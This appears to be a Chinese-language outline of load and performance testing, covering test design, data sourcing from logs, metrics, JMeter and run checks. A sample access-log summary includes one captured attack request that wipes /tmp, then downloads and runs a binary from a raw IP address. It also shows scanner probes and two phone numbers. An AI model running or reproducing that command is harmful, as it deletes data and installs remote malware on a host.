- 需求分析与测试设计(性能需求目标+业务模型拆解)
- 测试数据准备和构造(基于模型的数据准备)
- 性能指标预期(性能需求目标)
- 发压工具配置及脚本编写(压力策略)
- 测试过程(预计的前置准备过程和压测时间点规划)
- 结果分析与测试报告
- 新上线系统性能测试:要求容量测试,系统最大容量
- 系统升级类性能测试:和基线版本对比,性能不下降
- 新系统性能优化测试:伴随调优目标的性能测试
- 自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
- 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散
$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
8 http://www.baidu.com/cache/global/img/gs.gif
5 /index.php
4 mstshash=Administr"
4 /license.txt
4 ip.ws.126.net:443
4 "
2 /sso/getAuthCode?telephone=17138134641
2 /sso/getAuthCode?telephone=17127460936
2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
2 /robots.txt
2 /phpmyadmin/
- 上下关联:
- 1.每秒请求数(QPS)
- 2.请求响应时间(最大,最小,平均值)
- 3.错误率
- 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
- 5.压测过程接口功能是否正常
- 6.不同性能测试方式下指标预期是否有差异
- 压测场景:单接口/复杂事物——>场景构造
- 压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式
- 是否周期性:Jmeter jmx场景文件,数据驱动,结果落库
- 二次开发需求:Jmeter开源插件化思想,支持Thrift
- 协议支持:Dubbo等多种协议,可以快速平台化
- 问题支持:开放社区,广泛使用
- 1、测试前环境检查:记录机器参数
- 2、起压:根据被压情况,调节并发量到合适情况
- 3、查看记录各项性能指标
- nginx日志查看每秒请求数
- 查看nginx错误请求
- 查看机器参数:cpu idel、mem等
- 查看db、cache等数据是否写入正常
- 访问接口,查看功能是否正常
更多技术文章分享
https://qrcode.ceba.ceshiren.com/link?name=article&project_id=qrcode&from=Aliyun×tamp=1654678208&author=YL